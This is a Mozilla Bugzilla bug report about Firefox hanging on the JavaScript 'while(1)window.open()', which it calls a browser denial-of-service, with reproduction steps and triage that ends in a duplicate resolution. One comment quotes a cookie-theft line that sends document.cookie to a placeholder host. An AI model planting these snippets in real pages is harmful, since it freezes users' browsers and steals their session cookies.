Closed Bug 379151 Opened 18 years ago Closed 17 years ago

while(1)window.open() hangs up browser

Categories

(Core :: DOM: Core & HTML, defect)

defect
Not set
critical

Tracking

()

RESOLVED DUPLICATE of bug 31041

People

(Reporter: linux2.6, Unassigned)

References

Details

(Keywords: hang, testcase)

Attachments

(2 files)

User-Agent: Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.1.2) Gecko/20061023 SUSE Firefox/2.0.0.2 Build Identifier: Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.1.2) Gecko/20061023 SUSE Firefox/2.0.0.2 Any site you visit can make a DoS attack by executing Javascript code "while(1)window.open()". It works even when popups are blocked. Reproducible: Always Steps to Reproduce: 1. Make a HTML with <script type="text/javascript">while(1)window.open()</script>. 2. Visit it with your Firefox. Actual Results: Browsers hangs up. Expected Results: Firefox would ask to terminate a script.
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a5pre) Gecko/20070428 Minefield/3.0a5pre I can't reproduce this; it loads indeed for a long time with high CPU usage (about 15 seconds) but then I see the slow script dialog plus the notification bar with the message that the browser prevented 8191 popup windows from opening. I tested also 2.0.0.3 with the same result.
Sorry, I did not noticed it (and I think 15 seconds is too big period). But with <input onclick="while(1)window.open()" type="button" value="Click here!" /> everything works.
Attached file Testcase (deleted) —
Offtopic: Why do you allow uploading HTMLs here in Bugzilla? Anyone can steal your Bugzilla cookies by using "document.location='http://bla.bla.bla/'+document.cookie"...
confirmed the second testcase with Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.4pre) Gecko/2007042503 BonEcho/2.0.0.4pre, it opens every few seconds a new Bon Echo window.
Keywords: testcase
The hang also happens on trunk. You should get a unresponsive script dialog instead.
Assignee: nobody → general
Status: UNCONFIRMED → NEW
Component: Security → DOM
Ever confirmed: true
Keywords: hang
Product: Firefox → Core
QA Contact: firefox → ian
Version: unspecified → Trunk
Severity: normal → critical
(In reply to comment #6) > it opens every few seconds a new Bon Echo window. Only if the popup blocker is turned off. With the default settings it's a plain infinite-loop DoS.
dupe of bug 31041 ?
Yeah, I think so, thanks.
Status: NEW → RESOLVED
Closed: 17 years ago
Resolution: --- → DUPLICATE
Component: DOM → DOM: Core & HTML
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: